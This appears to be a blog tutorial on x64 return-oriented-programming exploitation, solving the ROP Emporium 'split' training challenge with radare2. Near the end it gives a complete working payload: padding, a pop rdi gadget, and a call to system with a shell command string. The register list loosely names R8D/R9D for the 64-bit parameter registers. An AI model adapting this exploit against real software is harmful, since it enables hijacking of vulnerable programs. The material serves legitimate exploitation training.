The approach to exploit buffer overflows on x64 is a bit different that on x86. This post demonstrates this using the split
challenge of ROP Emporium while making use of radare2
.
RIP & Canonical Addresses
The first thing one notices when trying to gain control over the instruction pointer is that only values of a specific range are allowed to be loaded into the RIP
register. On x86 arbitrary values can be loaded into the instruction pointer register (EIP
) - on x64 only canonical values are allowed. These are values of the following ranges:
0x0000000000000000
to0x00007FFFFFFFFFFF
(user space)0xFFFF800000000000
to0xFFFFFFFFFFFFFFFF
(the other thing)
Other values are illegal and the program aborts when attempting to load such a value into the instruction pointer register, e.g. after a ret
instruction. A valid value for the user space memory region would therefore be 0x0000414141414141
and not 0x4141414141414141
. This is important to keep in mind while fuzzing.
Passing Parameters
A second aspect of x64 exploitation is that function parameters are being passed using the RDI
, RSI
, RDX
, RCX
, R8D
and R9D
registers. All remaining parameters are passed using the stack. This is different than the x86 semantics where parameters are being passed using the stack.
This makes x64 exploitation a bit more difficult if you want to call a function that’s already existing because function parameters have to be loaded into the respective registers prior to executing as function in the target process. For this, a very small ROP payload can be used to populate the required registers first and ret
urn or jump to the payload afterwards.
To accomplish this, the /R
search of r2
can be used, e.g. like this:
r2 split -c "/R pop rdi; ret"
0x00400883 5f pop rdi
0x00400884 c3 ret
This is a ROP gadget that can be used to leverage an exploit.
Building The Payload
This gadget can be used with a payload of the following structure:
- Padding to cause the overflow, in this case a string of length 40 is required
- Address of the gadget (
0x00400883
from above): This will be the value ofRIP
afterret
urning from the vulnerable function in thesplit
binary - Address of the string
/bin/cat flag.txt
in thesplit
binary. Search for this usinge search.in=dbg.maps
and/ /bin/cat flag.txt
. - Address of the PLT entry of the
system
function that executes an arbitrary shell command. Useaaa
andafl
for this.
Please note that all values have to be padded to 8 byte values in the payload because we are dealing with x64. You can use p64()
of pwntools
for this.
Upon reaching the ROP gadget on runtime, the target process will:
pop
the first value of the stack intoRDI
. At the time of executing this, the value will be the address of the desired shell commandret
to the first value of the stack. This will be the address ofsystem
Exploitation
You can use pwntools
to exploit the binary or a simple printf
with an r2
profile:
$ printf "`python2.7 -c 'import sys; sys.stdout.write("A" * 40)'`\x83\x08\x40\x00\x00\x00\x00\x00\x60\x10\x60\x00\x00\x00\x00\x00\xe0\x05\x40\x00\x00\x00\x00\x00" > /tmp/in
$ cat > /tmp/profile.rr2 << EOF
#!/usr/bin/rarun2
program=./split
stdin=/tmp/in
EOF
$ r2 -e dbg.profile=/tmp/profile.rr2 -d split -c "dc"
This video demonstrates the exploitation process:
Ok bye.